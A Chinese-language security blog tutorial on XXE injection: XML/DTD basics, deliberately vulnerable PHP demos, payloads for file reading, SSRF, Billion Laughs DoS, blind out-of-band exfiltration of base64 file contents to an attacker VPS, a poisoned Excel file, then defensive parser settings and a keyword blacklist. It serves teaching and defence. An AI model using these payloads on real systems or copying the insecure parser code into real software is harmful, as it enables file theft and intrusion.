重拾XXE漏洞

本文最后更新于 2024年10月22日 晚上

前言:XXE漏洞是很久之前学的,由于没遇到多少实战案例,XXE漏洞逐渐被我搁置,没有好好重视,于是本文简单再复习一下

XML基础

什么是XML

XML可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的 标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML在web中的应用已十分广泛。XML是各种应用程序 之间数据传输最常用的格式。

与HTML的区别在于一个被设计用来展示数据,一个用来传输数据XML 标签没有被预定义,需要自行定义标签

XML文档结构包括:XML声明(可选)、DTD文档类型定义(非必要)、文档元素。下面是一个XML文档 实例:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girls>
<girl>
<hair>短头发</hair>
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary age="23">我最爱的女孩</summary>
</girl>
</girls>
  1. 第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8)
  2. XML注释
  3. 第二行是文档的根元素(girls)
  4. 后面就是子元素以及元素结尾。
  5. 整个XML是一种树形结构(根节点,子节点)
  6. 元素:XML 元素指的是从开始标签直到结束标签的部分(包括标签)
  7. 一个元素可以包含: 1. 子元素 2. 文本 3. 属性

XML语法规则

  • XML 声明文件是可选部分,如果存在需要放在文档的第一行。
  • XML 必须包含根元素,它是所有其他元素的父元素。上文中的girls就是根元素。
  • 所有 XML 元素都必须有关闭标签
  • XML 声明没有关闭标签。这不是错误。声明不属于XML本身的组成部分。它不是 XML 元素, 也不需要关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 的属性值须加引号

数据类型

  • PCDATA:被解析的字符数据,其中的标签会被当作标记来处理,而实体会被展开。
  • CDATA:不被解析的字符数据,其中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD基础

认识DTD

DTD(Document Type Definition)文档类型定义。 DTD是用来控制文档的一个格式规范的,由 XML 设计者或作者开发。 在DTD中定义了XML中存在什么标签、拥有什么属性、以及其它元素里面有什么元素等。它确实可以用于定义和声明XML文档的结构,但它并不是XML文档的必需部分。DTD的作用包括:

  1. 定义文档结构:指定允许的元素、属性和它们的顺序。
  2. 验证文档:确保XML文档符合定义的结构和约束。

但XML文档本身并不要求必须有DTD。没有DTD的XML:只要XML文档的结构是有效的,即符合XML语法规则,它就可以被解析和使用。解析器只需要确保XML是格式正确的

下面是一个 DTD文档的实例:

1
2
3
4
5
6
7
<!ELEMENT girls (girl)*>
<!ELEMENT girl (hair, eye, face, summary)>
<!ELEMENT hair (#PCDATA)>
<!ELEMENT eye (#PCDATA)>
<!ELEMENT face (#PCDATA)>
<!ELEMENT summary (#PCDATA)>
<!ATTLIST summary age CDATA "0">
  1. 第一行定义了girls元素,它可以有任意个girl子元素,其中型号(*)表示出现0次或者多次。
  2. 第二行定义了girl元素,它有4个子元素,并且在girl中必须且只能出现一次。
  3. 第三行定义了hair元素,该元素的数据类型为PCDATA。
  4. 第七行声明了summary元素的age属性,属性类型是CDATA,默认值是“0”。

声明DTD

  • 声明 DTD:如果你声明了 DTD,XML 解析器会根据 DTD 验证文档的结构,确保文档符合 DTD 中定义的规则。
  • 不声明 DTD:如果没有声明 DTD,XML 解析器仍然会解析文档,但不会进行结构验证。解析器只会确保文档符合 XML 语法规则,不会验证文档是否符合特定的结构要求。

内部声明DTD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<!DOCTYPE girls [
<!ELEMENT girl (hair, eye, face, summary)>
<!ELEMENT hair (#PCDATA)>
<!ELEMENT eye (#PCDATA)>
<!ELEMENT face (#PCDATA)>
<!ELEMENT summary (#PCDATA)>
<!ATTLIST summary age CDATA "0">
]>
<girls>
<girl>
<hair>短头发</hair>
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary age="23">我最爱的女孩</summary>
</girl>
</girls>

image

内部声明的这部分被称为内部子集,DTD的一部分,可以直接嵌入到XML文档内部。这部分定义了文档的结构(如元素、属性等)。

外部引用DTD

我们可以从外部的dtd文件中引用(这也是xxe漏洞产生的原因)。引用格式为:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<!DOCTYPE girls SYSTEM "girls.dtd">
<girls>
<girl>
<hair>短头发</hair>
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary age="23">我最爱的女孩</summary>
</girl>
</girls>

外部声明的这部分DTD内容被称为外部子集,常存储在外部DTD文件中,通过<!DOCTYPE>声明引用。外部子集允许你将DTD的结构定义分开存储,使其在多个XML文档中重用。

DTD实体

实体(ENTITY):如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名 (类似于变量),即一个ENTITY,然后在文档中调用它。 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 实体可以分为通用实体和参数实体,都可以内部声明或者外部引用

以实体名为user 值为 admin为例:

类型 通用实体 参数实体
内部声明
外部声明
引用方式 &user; %user;
使用场景 用在 XML 文档中(包括DTD) 只用在DTD的元素和属性声明中

通用实体

通用实体在在DTD中定义,在XML文档中都可以使用,比如:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE login [
<!ELEMENT login ANY > <!--定义元素为ANY表示接受任何元素-->
<!ENTITY username "admin" >]> <!--在内部声明中,定义了一个通用实体xxe,值为test-->
<login>
<user>&username;</user> <!--使用&username对实体进行引用,输出时就被"admin"替换-->
<pass>admin123</pass>
</login>

image

参数实体

参数实体的目的是能够创建替换文本的可重用部分,只能在 DTD 中使用,它使我们能够简便地引用或修改DTD中常用的结构

1
2
3
4
5
<!ENTITY % name "value">
<!ENTITY % an-element "<!ELEMENT girls (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element;
<!DOCTYPE girls SYSTEM %remote-dtd;>
  1. 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 。
  2. 参数实体只能在DTD声明中引用,不能像通用实体那样在xml文档内容中进行引用。
  3. 参数实体可以在内部子集中定义和使用
  4. DTD内部子集中的参数实体调用,不能混掺到标记语言XML中,但外部参数实体不受此限制。

例如:

1
2
3
<!-- external.dtd 文件 -->
<!ENTITY % example "value">
<!ELEMENT root (#PCDATA)>
1
2
3
<!-- XML文档 -->
<!DOCTYPE root SYSTEM "external.dtd">
<root>Content</root>

预定义实体

在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插 入了“<”符号,解析器会把它当作新元素的开始,就会产生错误

image

1
2
3
4
5
6
7
8
9
10
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<!-- 使用预定义实体 -->
<example>
&lt;tag&gt; &amp; &quot;special&quot; &apos;characters&apos;
</example>
</note>

XXE漏洞

XXE漏洞原理

XXE漏洞全称为 XML External Entity Injection,即XML外部实体注入。 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部加载的文件,从而导致漏洞的发生。 XXE漏洞的触发点往往是可以上传并解析xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。

XXE漏洞危害

信息泄露

  • 攻击者可以通过构造恶意XML数据,利用外部实体引用来访问和泄露系统内部文件。例如,读取敏感配置文件(如/etc/passwd)或其他关键文件。

  • 示例

    1
    2
    3
    4
    5
    <!DOCTYPE doc [
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY % data "<!ENTITY % file SYSTEM 'file:///%xxe;'>">
    ]>
    <doc>&file;</doc>

服务器端请求伪造(SSRF)

  • 攻击者可以利用XXE漏洞通过XML解析器向内部服务发起请求,获取敏感数据或绕过网络访问控制

  • 示例

    1
    2
    3
    4
    <!DOCTYPE doc [
    <!ENTITY % xxe SYSTEM "http://localhost/admin">
    ]>
    <doc>&xxe;</doc>

拒绝服务(DoS)

  • 利用XXE漏洞可以触发大量的实体展开,导致资源耗尽或服务崩溃。例如,通过递归实体引用,无限展开实体(Billion Laughs Attack)造成XML解析器崩溃。

  • 示例

    1
    2
    3
    4
    5
    6
    7
    <!DOCTYPE doc [
    <!ENTITY a "&a;&b;">
    <!ENTITY b "&b;&c;">
    <!ENTITY c "&c;&d;">
    <!ENTITY d "&d;&d;">
    ]>
    <doc>&a;</doc>

执行任意代码

  • 在一些情况下,攻击者可以通过XXE漏洞影响应用程序的行为,导致执行任意代码或命令。虽然这种情况较少见,但也是可能的。

XXE漏洞探测

1. 检测是否解析XML

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf8"?>
<!DOCTYPE x1lys [
<!ELEMENT x1lys ANY >
<!ENTITY hack "worning XXE" >
]>
<x1lys>
<test>&hack;</test>
</x1lys>

如果页面输出了worning XXE,说明xml文件可以被解析

2.检测是否支持DTD引用外部实体

1
2
3
4
5
6
<!--使用burp官方提供的测试服务器-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://xst9gnm0ju8xvsjp2uu9xcl5dwjs7wvl.oastify.com" >]>
<user><username>&xxe;</username><password>1234</password></user>

在burp查看请求日志

1
2
3
4
5
6
<!--使用自己的vps-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://111.111.111.11" >]>
<user><username>&xxe;</username><password>1234</password></user>

在vps查看访问日志

看目标服务器是否向你的服务器发了一条请求。 如果支持引用外部实体,那么很有可能是存在xxe漏洞的

XXE Demo演示

有回显Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header('Content-type: text/html; charset=utf-8');
libxml_disable_entity_loader(false);
if(isset($_POST['xml'])){
$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom);
echo "result: ".$data; // 有回显
}
?>
<html>
<head>
<title>XXE Demo With Echo</title>
</head>
<body>
<h1>XXE Demo With Echo</h1>
<form action="" method="post">
<input type="text" name="xml" style="width:300px; height: 150px;">
<input type="submit" value="submit">
</form>
</body>
</html>

提交XMLpayload,php接收提交的XML,使用 DOMDocument 类的 loadXML 方法加载提交的 XML 数据。这个方法会解析 XML 数据并处理其中的外部实体,将 DOMDocument 转换为 SimpleXMLElement 对象。SimpleXMLElement 提供了一种简单的方式来处理 XML 数据。输出解析后的结果。由于 SimpleXMLElement 对象会被转换为字符串,这里会显示 XML 数据的内容。

image

1
2
3
4
5
6
7
<!--输入payload读取secret.txt文件-->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "secret.txt">
]>
<foo>&xxe;</foo>

image

无回显Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header('Content-type: text/html; charset=utf-8');
libxml_disable_entity_loader(false);
if(isset($_POST['xml'])){
$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom);
// echo "result: ".$data; // 有回显
}
?>
<html>
<head>
<title>XXE Demo Without Echo</title>
</head>
<body>
<h1>XXE Demo Without Echo</h1>
<form action="" method="post">
<input type="text" name="xml" style="width:300px; height: 150px;">
<input type="submit" value="submit">
</form>
</body>
</html>

image

1
2
3
4
5
6
<!--借助DNSLog平台查看是否回显(或者自己的VPS)-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://22222.d5423d3b.log.dnslog.biz/">
]>
<root>&xxe;</root>

image

XXE漏洞利用

读取敏感文件

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>

image

读取含有特殊字符的文件

我们读取的文件内容中如果存在很多的特殊字符:<、 >、;、’、”等,无法正常读取,因为当xml的标签内还存在这些特殊字符时,尤其是”<”,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误

image

image

我们知道:CDATA(Character Data)部分用于表示不需要解析的字符数据。CDATA 部分的内容不会被 XML 解析器处理,因此可以包含一些特殊字符,如 <, >, 和 &,这些字符在普通的 XML 元素中会被当作标记解析。

CDATA语法规则:

  • CDATA内部不能包含字符串 “]]>”,这是CDATA的结尾字符,也不允许内部嵌套的其他CDATA ,这样会导致异常的闭合,从而使XML解析器报错。
  • 标记 CDATA 部分结尾的 “]]>” 不能包含空格或换行

到这里,我们就可以尝试使用CDATA去读取目标文件的内容,我们首先需要把要读取的内容放在CDATA中,这样特殊字符就不会被解析了,就可以正常读取含有特殊字符的文件,但是CDATA并没有提供直接拼接字符串的方法,所以我们暂且先使用通用实体进行手动拼接尝试看行不行

1
2
3
4
5
6
7
8
<!--XML中拼接-->
<!DOCTYPE xxx [
<!ENTITY test "<![CDATA[">
<!ENTITY abc SYSTEM "file:///opt/flag2">
<!ENTITY aa "]]>">
]>
<user><username>&test;&abc;&aa;</username><password>1234</password></user>
<!--拼接会得到:<![CDATA[file:///opt/flag2]]>-->

读取失败

image

这说明拼接方式不可行,我们现在使用的是通用实体,通用实体的引用是在xml文档内容中,既然在xml文档内容中拼接不可行,那再dtd中拼接可行吗?再次进行尝试,既然在DTD中拼接,那就需要用到参数实体了

1
2
3
4
5
6
7
8
9
<!--DTD中拼接-->
<!DOCTYPE xxx [
<!ENTITY % test "<![CDATA[">
<!ENTITY % abc SYSTEM "file:///opt/flag2">
<!ENTITY % aa "]]>">
<!ENTITY all "%test;%abc;%aa">
]>
<user><username>&all;</username><password>1234</password></user>
<!--拼接会得到:<![CDATA[file:///opt/flag2]]>-->

image

破案了,根据XML规范所描述:“在DTD内部子集中的参数实体调用,不能混掺到标记语言中”,就是不能在实际的XML标记语言中来调用参数实体,像我们这样,就是在标记语言中进行调用。

但是幸运的是,XML规范还声明了一点:“外部参数实体不受此限制”也就是我们可以使用外部的DTD来构造payload,将 我们的CDATA内容拼接起来:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///opt/flag2">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://111.111.11.11/1.dtd"> <!--此处声明外部参数实体dtd-->
%dtd;]> <!--此处引用外部参数实体dtd-->
<user><username>&all;</username><password>1234</password></user><!--此处引用外部参数实体1.dtd中的通用实体all-->
1
2
3
<!--1.dtd-->
<!ENTITY all "%start;%goodies;%end;">
<!--把三者拼接为<![CDATA[file:///opt/flag2]]>-->

简单来说就是把上一步的<!ENTITY all “%test;%abc;%aa”这部分放进一个DTD文件,再外部引用它就OK

成功读取到含有特殊字符的文件内容!

image

Blind XXE

那么如果程序没有回显的情况下,无法直接读取文件内容,就需要用外带参数实体注入的方法去利用

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://111.111.111.111/test.dtd">
%remote;%init;%send;
]>
<user><username>1</username><password>2ad</password></user>

其中,攻击者服务器test.dtd文件内容:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag">
<!ENTITY % init "<!ENTITY &#x25; send SYSTEM 'http://111.111.111.111/?p=%payload
;'>">

可能这个payload有点绕,我们来解释一下:

DTD中,先声明了一个remote实体指向攻击者VPS上的DTD文件路径,然后引用remote实体,解析攻击者VPS上的DTD文件test.dtd,test.dtd中有init实体,接着引用改init实体,init实体中嵌套了一个send实体,接着引用send实体,send实体中又引用了payload实体,payload实体在test.dtd中被声明,整个流程下来就是,让目标网站的XML解析器去解析这段payload,从而去请求http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag攻击者的VPS且把文件内容利用GET传参p参数,传入php伪协议读取文件内容并base64编码数据,防止特殊字符在url中不支持,这样攻击者就能通过查看访问vps日志得到文件内容了

但是看到这里,有师傅不禁要问,这不就是一个让目标网站去请求”http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag"的原理吗,为什么不直接一步到位,直接实体值就设置为这个,而是要这样分部进行,绕来绕去的?

1
2
3
4
5
6
<!--为什么不直接像这样一步到位?-->
<!DOCTYPE convert [
<!ENTITY % payload SYSTEM "http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag">
%payload;
]>
<user><username>1</username><password>2ad</password></user>

那是因为:

过滤和保护:现代的解析器和 Web 应用防火墙(WAF)可能会对这种直接的攻击模式进行过滤或拦截。特别是针对外部实体的直接引用,可能会被设计为不允许外部请求或具有更严格的安全措施。

限制:某些系统可能会对 DTD 中的外部实体引用有更严格的限制,特别是在直接使用外部 URL 进行攻击时。

于是使用第一种

可以绕过一些简单的过滤和保护机制,因为它分步完成了实体的注入。还可以通过多个实体的组合来实现更复杂的攻击逻辑。

数据包无回显

image

VPS的访问日志可以看到,有请求数据了

image

再base64解码得到文件内容,至此突破了Blind XXE

EXCEL文档XXE

实际上,现代Excel文件就是XML文档的zip文件。这称为Office Open XML格式或OOXML。 许多应用程序允许上传Excel文件并解析,这几乎肯定需要解析XML的,于是在如果此处解析器未安全配置,则XXE几乎是不可避免的

先构造一个含有XXEpayload的Excel文件:

  1. 新建Excel文件 1.xlsx

image

image

  1. 直接改后缀为zip,这就得到了原始xml的压缩形式zip,因为excel其实就是xml压缩得到的

image

  1. 解压,还原出原始xml

image

  1. 构造xml payload,请求DNSlog地址,看是否有回显,以此检验是否成功解析并执行xml
1
2
3
4
<!DOCTYPE root [
<!ENTITY test SYSTEM "http://x1lys.d5423d3b.log.dnslog.biz/">
]>
<root>&test;</root>
  1. 开[Content_Types].xml文件,在第一行下,插入xml payload

image

1
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

插入xml paylaod

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "http://x1lys.d5423d3b.log.dnslog.biz/">
]>
<root>&test;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
  1. 重新将这些文件压缩为zip,再修改为xlsx就还原了

image

image

XXE的防御

直接禁用外部实体

php
1
libxml_disable_entity_loader(true);
java
1
2
3
4
5
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
python
1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
黑名单过滤(不推荐)

过滤关键字

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC